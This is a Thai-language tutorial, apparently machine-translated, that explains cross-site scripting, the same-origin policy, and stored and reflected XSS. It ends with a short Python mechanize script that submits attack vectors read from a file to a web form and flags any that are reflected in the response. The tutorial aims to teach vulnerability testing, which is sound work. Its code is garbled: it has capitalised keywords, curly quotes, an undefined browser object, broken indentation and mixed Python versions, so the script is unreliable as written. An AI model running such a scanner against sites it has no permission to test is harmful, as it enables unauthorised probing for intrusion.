การโจมตีด้วยสคริปต์ข้ามไซต์เป็นประเภทของการแทรกที่อ้างถึงการโจมตีด้วยการแทรกโค้ดฝั่งไคลเอ็นต์ ที่นี่รหัสที่เป็นอันตรายจะถูกฉีดเข้าไปในเว็บไซต์ที่ถูกต้อง แนวคิดของนโยบายแหล่งกำเนิดเดียวกัน (SOP) มีประโยชน์มากในการทำความเข้าใจแนวคิดของการเขียนสคริปต์ข้ามไซต์ SOP เป็นหลักการรักษาความปลอดภัยที่สำคัญที่สุดในทุกเว็บเบราว์เซอร์ ห้ามไม่ให้เว็บไซต์ดึงเนื้อหาจากหน้าเว็บที่มีต้นกำเนิดอื่น ตัวอย่างเช่นหน้าเว็บwww.tutorialspoint.com/index.htmlสามารถเข้าถึงเนื้อหาจากwww.tutorialspoint.com/contact.htmlแต่www.virus.com/index.htmlไม่สามารถเข้าถึงเนื้อหาจากwww.tutorialspoint.com/contact.html. ด้วยวิธีนี้เราสามารถพูดได้ว่าการเขียนสคริปต์ข้ามไซต์เป็นวิธีหนึ่งในการหลีกเลี่ยงนโยบายความปลอดภัย SOP

ประเภทของ XSS Attack

ในส่วนนี้ให้เราเรียนรู้เกี่ยวกับการโจมตี XSS ประเภทต่างๆ การโจมตีสามารถแบ่งออกเป็นประเภทหลัก ๆ ดังต่อไปนี้ -

• XSS ถาวรหรือเก็บไว้
• XSS แบบไม่ต่อเนื่องหรือสะท้อนกลับ

XSS ถาวรหรือเก็บไว้

ในการโจมตี XSS ประเภทนี้ผู้โจมตีจะฉีดสคริปต์ที่เรียกว่าเพย์โหลดซึ่งถูกเก็บไว้อย่างถาวรบนเว็บแอปพลิเคชันเป้าหมายตัวอย่างเช่นภายในฐานข้อมูล นี่คือเหตุผลที่เรียกว่าการโจมตี XSS แบบต่อเนื่อง มันเป็นการโจมตี XSS ที่สร้างความเสียหายมากที่สุด ตัวอย่างเช่นผู้โจมตีแทรกโค้ดที่เป็นอันตรายในช่องความคิดเห็นในบล็อกหรือในโพสต์ในฟอรัม

XSS แบบไม่ต่อเนื่องหรือสะท้อนกลับ

เป็นการโจมตีแบบ XSS ที่พบบ่อยที่สุดซึ่งเพย์โหลดของผู้โจมตีจะต้องเป็นส่วนหนึ่งของคำขอซึ่งส่งไปยังเว็บเซิร์ฟเวอร์และสะท้อนกลับในลักษณะที่การตอบสนองของ HTTP รวมส่วนของข้อมูลจากคำขอ HTTP เป็นการโจมตีที่ไม่ต่อเนื่องเนื่องจากผู้โจมตีจำเป็นต้องส่งมอบน้ำหนักบรรทุกให้กับเหยื่อแต่ละราย ตัวอย่างที่พบบ่อยที่สุดของการโจมตี XSS ประเภทนี้คืออีเมลฟิชชิ่งที่ผู้โจมตีดึงดูดเหยื่อให้ส่งคำขอไปยังเซิร์ฟเวอร์ซึ่งมีข้อมูล XSS และสิ้นสุดการเรียกใช้สคริปต์ที่ได้รับการสะท้อนและดำเนินการภายในเบราว์เซอร์ .

ตัวอย่าง

เช่นเดียวกับ SQLi การโจมตีเว็บ XSS สามารถทำได้โดยการจัดการข้อมูลอินพุตไปยังแอปพลิเคชัน ในตัวอย่างต่อไปนี้เรากำลังแก้ไขเวกเตอร์การโจมตี SQLi ซึ่งทำในส่วนก่อนหน้านี้เพื่อทดสอบการโจมตีเว็บ XSS สคริปต์ Python ที่ระบุด้านล่างช่วยวิเคราะห์การโจมตี XSS โดยใช้mechanize -

ในการเริ่มต้นให้เรานำเข้าไฟล์ mechanize โมดูล.

import mechanize

ตอนนี้ให้ระบุชื่อของ URL สำหรับการตอบกลับหลังจากส่งแบบฟอร์ม

url = input("Enter the full url")
   attack_no = 1

เราจำเป็นต้องอ่านเวกเตอร์การโจมตีจากไฟล์

With open (‘vectors_XSS.txt’) as x:

ตอนนี้เราจะส่งคำขอพร้อมเวกเตอร์ arrack -

For line in x:
   browser.open(url)
browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

โค้ดบรรทัดต่อไปนี้จะตรวจสอบเวกเตอร์การโจมตีที่พิมพ์ออกมา

if content.find(line) > 0:
print(“Possible XSS”)

โค้ดบรรทัดต่อไปนี้จะเขียนการตอบกลับไปยังไฟล์เอาต์พุต

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

XSS เกิดขึ้นเมื่ออินพุตของผู้ใช้พิมพ์ไปยังการตอบกลับโดยไม่มีการตรวจสอบความถูกต้อง ดังนั้นเพื่อตรวจสอบความเป็นไปได้ของการโจมตี XSS เราสามารถตรวจสอบข้อความตอบสนองสำหรับเวกเตอร์การโจมตีที่เราให้ไว้ หากเวกเตอร์การโจมตีปรากฏในการตอบสนองโดยไม่มีการหลบหนีหรือการตรวจสอบความถูกต้องมีความเป็นไปได้สูงที่จะโจมตี XSS